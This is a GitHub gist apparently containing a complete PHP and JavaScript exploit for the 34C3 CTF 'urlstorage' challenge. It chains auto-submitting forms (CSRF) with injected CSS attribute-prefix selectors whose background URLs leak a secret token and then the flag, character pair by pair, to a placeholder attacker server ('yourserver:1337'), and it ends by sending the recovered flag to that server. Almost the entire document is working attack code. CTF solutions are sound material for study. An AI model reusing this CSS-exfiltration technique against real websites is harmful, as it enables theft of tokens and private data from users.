Last active
December 29, 2017 22:52
-
-
Save eboda/c4c1ec7511fa73576a29367241f57f3a to your computer and use it in GitHub Desktop.
34C3 CTF urlstorage exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$target = 'http://127.0.0.1/'; | |
$exploit = 'http://yourserver:1337/exploit.php'; | |
$exfil = 'http://yourserver:1337/FLAG='; | |
function enc($s) { | |
$res = ''; | |
for ($i = 0; $i < strlen($s); $i++) { | |
$res .= '\\' . dechex(ord($s[$i])); | |
} | |
return $res; | |
} | |
if (isset($_GET['restart'])) { | |
file_put_contents('step1_prefix', ''); | |
file_put_contents('step2_prefix', ''); | |
exit; | |
} | |
if (isset($_GET['flagpage'])) { | |
$token = file_get_contents('step1_prefix'); | |
?> | |
<form id="foo" action="<?= $target ?>flag" method="GET" target="_blank"> | |
<input value="<?= $token ?></title><base href=urlstorage/>" name="token"> | |
</form> | |
<script> | |
foo.submit(); | |
</script> | |
<?php | |
exit; | |
} | |
if (isset($_GET['step'])) { | |
$step = $_GET['step']; | |
$prefix = file_get_contents("step{$step}_prefix"); | |
if ($step === '1') { | |
echo "<form method='POST' id='yolo' target='_blank' action='{$target}urlstorage/'>"; | |
} else { | |
echo "<form method='POST' id='yolo' action='{$target}urlstorage/'>"; | |
} | |
echo "<textarea name='url' id='url'>"; | |
$alph="0123456789abcdef"; | |
$css = "\n{}\n"; | |
for ($i = 0; $i<16; ++$i) { | |
$a=$alph[$i]; | |
for ($j = 0; $j<16; ++$j) { | |
$b=$alph[$j]; | |
if ($step === '1') { | |
$css .= "\na[href^="; | |
$css .= enc("flag?token=$prefix$a$b"); | |
$css .= "]{background:url($exploit?new{$step}=$prefix$a$b);}\n"; | |
} else { | |
$css .= "\ninput[value^="; | |
$css .= enc("34C3_$prefix$a$b"); | |
$css .= "]{background:url($exploit?new{$step}=$prefix$a$b);}\n"; | |
} | |
} | |
} | |
echo $css ."\n"; | |
?> | |
</textarea> | |
</form> | |
<script> | |
yolo.submit(); | |
</script> | |
<?php | |
exit; | |
} | |
if (isset($_GET['flag1'])) { | |
echo file_get_contents('step1_prefix'); | |
exit; | |
} | |
if (isset($_GET['flag2'])) { | |
echo file_get_contents('step2_prefix'); | |
exit; | |
} | |
if (isset($_GET['new1'])) { | |
file_put_contents('step1_prefix', $_GET['new1']); | |
exit; | |
} | |
if (isset($_GET['new2'])) { | |
file_put_contents('step2_prefix', $_GET['new2']); | |
exit; | |
} | |
if (isset($_GET['poll1'])) { | |
echo strlen(file_get_contents('step1_prefix')); | |
exit; | |
} | |
if (isset($_GET['poll2'])) { | |
echo strlen(file_get_contents('step2_prefix')); | |
exit; | |
} | |
?> | |
<html> | |
<head><script src='jquery.js'></script> | |
<body> | |
<iframe id='doit'></iframe> | |
<iframe id='doit2'></iframe> | |
<script> | |
var length = -1; | |
var poll_len = -1; | |
var token = ''; | |
function get_url(url) { | |
var xhr = new XMLHttpRequest(); | |
xhr.open('GET', url, false); | |
xhr.send(); | |
return xhr.responseText; | |
} | |
function exfil() { | |
var flag = get_url('?flag2'); | |
console.log("FINAL FLAG: " + flag); | |
get_url('<?= $exfil ?>' + flag); | |
} | |
function poll() { | |
return parseInt(get_url('<?= $exploit ?>?poll1')); | |
} | |
function poll2() { | |
return parseInt(get_url('<?= $exploit ?>?poll2')); | |
} | |
function doit1() { | |
poll_len = poll(); | |
console.log(poll_len + " " + length); | |
if (length == 32) { | |
token = get_url('?flag1'); | |
console.log("TOKEN: " + token); | |
length = -1; | |
doit2(); | |
} else if (poll_len > length) { | |
$('#doit').attr('src', '<?= $exploit ?>?step=1'); // next url | |
length = poll_len; | |
console.log("Length now " + length); | |
setTimeout(doit1, 0); | |
} else { | |
setTimeout(doit1, 100); | |
} | |
}; | |
function open_flag_url() { | |
$('#doit2').attr('src', '<?= $exploit ?>?flagpage'); | |
length = poll_len; | |
console.log("Length now " + length); | |
setTimeout(doit2, 0); | |
} | |
function doit2() { | |
poll_len = poll2(); | |
console.log("poll_len2 length: " + poll_len + " " + length); | |
if (length == 40) { | |
exfil(); | |
} else if (poll_len > length) { | |
$('#doit2').attr('src', '<?= $exploit ?>?step=2'); | |
setTimeout(open_flag_url, 300); | |
} else { | |
setTimeout(doit2, 100); | |
} | |
} | |
document.body.onload = function () { | |
get_url('?restart'); | |
doit1(); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment